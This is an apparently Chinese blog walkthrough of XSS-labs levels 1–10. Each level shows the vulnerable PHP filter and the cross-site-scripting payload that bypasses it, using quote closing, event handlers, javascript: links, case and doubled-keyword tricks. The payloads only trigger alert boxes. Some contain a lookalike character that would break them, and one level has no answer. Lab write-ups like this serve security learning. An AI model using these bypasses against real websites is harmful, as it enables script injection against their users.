这里写自定义目录标题
1. 概念原理危害修复
特点
- 一个弹窗的效果
- XSS 就是代码对数据调试的时候的安全问题
- JavaScript
- 浏览器内核版本会决定能否执行js脚本
- 产生层面:应用层
2. XSS-labs练习
1 无过滤
发现传入参数会直接在页面显示
直接构造JS语句传参
<script>alert(1)</script>
2 构造闭合
直接传参常识,发现JS语句未被执行
查看源码 ,发现php将特殊字符转化为实体的函数
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
构造闭合
"><script>alert(1)</script>
3 鼠标触发事件
将JS传入,F12查看
发现JS的<被转义了,那么如何触发JS执行
用html里面的鼠标点击触发事件执行
源代码
<input name=keyword value='".htmlspecialchars($str)."'>
//所以playload的闭合符应该是单引号
注意用鼠标触发
'οnclick='alert(1)
4 双引号闭合
<input name=keyword value="'.$str3.'">
//对比第三关 闭合符应该是
"onclick="alert(1)
5 href绕过
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
查看源代码
对onclick进行过滤
换一种方式
注意闭合符
"><a href="javascript:alert(/xss/)">click me!</a>
6 大小写绕过
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
查看源代码发现之前的方式都被过滤了href同样
直接尝试到大小写绕过,发现成功
"><a hREf="javascript:alert(/xss/)">click me!</a>
7 循环过滤
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
发现进行了小写转换,无法通过大小写进行绕过
常识循环过滤
"><scriscriptpt>alert(1)</scrscriptipt>
8 编码过滤
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
尝试编码过滤
9 http://
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
查看源码直接按提示 进行绕过
JavaScript:alert('1')//http://
10 提交参数
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.$str33.'" type="hidden">
直接用t_sort提交参数
?t_sort=click me!" type="button" οnclick="alert(/xss/)
待完善